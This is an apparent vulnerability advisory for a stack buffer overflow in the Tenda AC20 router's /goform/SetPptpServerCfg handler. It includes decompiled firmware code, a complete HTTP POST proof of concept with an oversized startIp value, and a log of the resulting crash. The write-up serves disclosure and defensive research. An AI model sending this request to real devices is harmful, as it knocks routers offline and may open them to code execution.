

Tenda AC20 V16.03.08.12

Information

Vendor of the products: Shenzhen Tenda Technology Co.,Ltd.

Vendor's website: <https://www.tenda.com.cn/>

Affected products: AC20

Affected firmware version: <= V16.03.08.12 (latest)

Firmware download address: tenda.com.cn/material/show/3264

Overview

A buffer overflow vulnerability was discovered on the latest version of the Tengda AC20 router, V16.03.08.12, where an attacker sent a well-crafted http post packet to the request path /goform/SetPptpServerCfg, triggering a denial of service attack or even RCE, specifically via the function strcpy(s + 2, var); because there is no bounds check on s, causing a stack overflow

Vulnerability details

It can be found that when the serverEn value is 1, it will enter the else branch to call sub_478164 function

```
● 1/    s1_ = v;
● 18   s1_1 = 0;
● 19   memset(s, 0, sizeof(s));
● 20   mibname = wifi_get_mibname("wlan0", "workmode", s);
● 21   GetValue(mibname, v6);
● 22   v2 = wifi_get_mibname("wlan1", "workmode", s);
● 23   GetValue(v2, v7);
● 24   GetValue("vpn.cli.pptpEnable", &s1_);
● 25   GetValue("vpn.cli.l2tpEnable", &s1_1);
● 26   if ( !strcmp((const char *)v6, "apclient") || !strcmp((const char *)v7, "apclient") )
● 27   {
● 28       v4 = 1;
● 29   }
● 30   else
● 31   {
● 32       Var = websGetVar((int)a1, "serverEn", (int)"1");
● 33       SetValue("vpn.ser.pptpdEnable", Var);
● 34       if ( !strcmp(Var, "0") )
● 35       {
● 36           if ( !strcmp((const char *)&s1_, "0") && !strcmp((const char *)&s1_1, "0") )
● 37               SetValue("inet_gro_disable", "0");
● 38       }
● 39       else
● 40       {
● 41           if ( strcmp(Var, "1") )
● 42           {
● 43               v4 = 1;
● 44               goto LABEL_15;
● 45           }
● 46           if ( sub_478164((int)a1) == 1 )
● 47               goto LABEL_15;
● 48       }
● 49       if ( CommitCfm() )
● 50       {
● 51           memset(s_1, 0, sizeof(s_1));
● 00078994 formSetPPTPServer:46 (478994)
```

When the startIp and endIp are not empty, the sscanf function causes the buffer to overflow

```
11  cnar v10[8]; // [sp+184h] [+184h] BYREF
12  char v11[8]; // [sp+18Ch] [+18Ch] BYREF
13  char v12[40]; // [sp+194h] [+194h] BYREF
14  char v13[8]; // [sp+1BCh] [+1BCh] BYREF
15  _DWORD v14[5]; // [sp+1C4h] [+1C4h] BYREF
16
17  memset(s_1, 0, sizeof(s_1));
18  memset(s_2, 0, sizeof(s_2));
19  memset(s_3, 0, sizeof(s_3));
20  memset(str, 0, sizeof(str));
21  memset(v14, 0, 16);
22  Var = websGetVar(a1, "mppe", (int)"1");
23  v4 = websGetVar(a1, "mppeOp", (int)"128");
24  s = websGetVar(a1, "startIp", (int)&unk_4D9E0C);
25  format = websGetVar(a1, "endIp", (int)&unk_4D9E0C);
26  if ( !*s || !*format )
27      return 1;
28  if ( sscanf(s, "%[^.].%[^.].%[^.].%s", v10, v11, v12, &v12[8]) != 4
29  ||  sscanf(format, "%[^.].%[^.].%[^.].%s", &v12[16], &v12[24], &v12[32], v13) != 4 )
30  {
31      return 1;
32  }
33  sprintf(s_1, "%s.%s.%s.%s", v10, v11, v12, "0");
34  sprintf(s_2, "%s.%s.%s.%s", v10, v11, v12, "1");
35  sprintf(s_3, "%s-%s", s, v13);
36  if ( get_system_mode(v14) == 2 )
37      sprintf((char *)str, "%d", 5);
38  else
39      sprintf((char *)str, "%d", 1);
40  SetValue("vpn.ser.pptpwanid", str);
41  SetValue("vpn.ser.pptpdmppe", Var);
42  SetValue("vpn.ser.pptpdmppe.op", v4);
43  SetValue("vpn.ser.pptpdnetseg", s_1);
44  SetValue("vpn.ser.pptpserver", s_2);
00078164 sub_478164:9 (478164)
```



POC

```
1 POST /goform/SetPptpServerCfg HTTP/1.1
2 Host: 192.168.102.145
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 Referer: http://192.168.102.145/main.html
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: zh-CN,zh;q=0.9
9 Connection: keep-alive
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 1030
12
13 serverEn=1&endIp=aa&startIp=aaaabaacaaadaaaeaafaaagaaaahaaaiaajaaakaalaama
aanaaaaoaaapaaaqaaaraaasaataaaauuaavaaaawaaaxaaayaazaabbaabcaabdaabeaabfaabgaab
haabiaabjaabkaablaabmaabnaaboabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacba
accaacdaaceaacfaacgachaaciaacjaackaaclaacmaacnaacoacpaacqaacraacsactaacuaac
vaacwaacxaacyaaczaadbaadcaaddaadeafadgaadhaawaaaaxaaayaazaabbaabcaabdaabeaa
bfaabgaabhaabjaabkaablaabmaabnaaboabpaabqaabraabsaabtaabuaabvaabwaabxaaby
aabzaacbaaccaacdaaceaacfaacgachaaciaacjaackaaclaacmaacnaacoacpaacqaacraacsaa
ctaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeafadgaadha
```

Yes:

```
***** WeLoveLinux*****  
***** Welcome to *****  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
/bin/sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory  
[httpd][debug]-----webs.c,158  
httpd listen ip = 192.168.102.145 port = 80  
webs: Listening for HTTP requests at address 192.168.102.145  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
connect: No such file or directory  
func:cfms_mib_proc_handle, line:191 connect cfmd is error.  
段错误
```

